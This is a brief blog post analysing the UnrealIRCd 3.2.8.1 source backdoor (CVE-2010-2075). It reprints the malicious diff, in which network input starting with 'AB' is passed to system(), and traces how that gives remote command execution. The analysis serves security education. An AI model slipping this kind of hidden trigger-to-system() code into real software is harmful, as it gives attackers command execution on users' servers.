CVE-2010–2075 — Understanding the UnrealIRCd Backdoor

Martin Rozariyo I

2 min read

·

Sep 26, 2026

--

Listen

Share

Let’s see how this vulnerability created.

Unlike a normal vulnerability, in this case the attackers compromised the software archive and inserted their own malicious code into it. So, if a user downloads that backdoored archive, compiles and installs it, the malicious code becomes part of the server. The attacker can then trigger the backdoor, which results in RCE.

Now lets move on how the attackers modified the code to create a backdoor.

Actually I referred to this blog: https://blog.stalkr.net/2010/06/unrealircd-3281-backdoored.html

So here the attacker has added some lines in the code:

diff -urN Unreal3.2.8.1/include/struct.h Unreal3.2.8.1_backdoor/include/struct.h
--- Unreal3.2.8.1/include/struct.h      2009-04-13 13:03:57.000000000 +0200
+++ Unreal3.2.8.1_backdoor/include/struct.h     2009-04-13 13:03:00.000000000 +0200
@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
 
 struct _configitem_include {
        ConfigItem *prev, *next;
diff -urN Unreal3.2.8.1/src/s_bsd.c Unreal3.2.8.1_backdoor/src/s_bsd.c
--- Unreal3.2.8.1/src/s_bsd.c   2009-03-01 19:37:58.000000000 +0100
+++ Unreal3.2.8.1_backdoor/src/s_bsd.c  2006-06-16 20:29:00.000000000 +0200
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

The lines with + in it were added in the backdoored version.

We can clearly see that the attacker added some #define statements in it.

The attacker added +#define DEBUGMODE3_INFO "AB" to it so that he is using “AB” as a trigger string that the backdoor looks for incoming data.

The attacker also added #define DEBUG3_DOLOG_SYSTEM(x) system(x). Since this is C code, system(x) allows the contents of x to be passed to the operating system's command interpreter, giving the backdoor command-execution capability.

Also in this if statement:

#ifdef DEBUGMODE3
       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
           DEBUG3_LOG(readbuf);
#endif

readbuf has the data received from the network.

The code is checking whether the incoming data starts with "AB" .

If it does the line DEBUG3_LOG(readbuf); gets executed.

This too is defined by the attacker, so the flow becomes,

DEBUG3_LOG(readbuf) → DEBUG3_DOLOG_SYSTEM(readbuf) → system(readbuf)

Leading to Command Execution.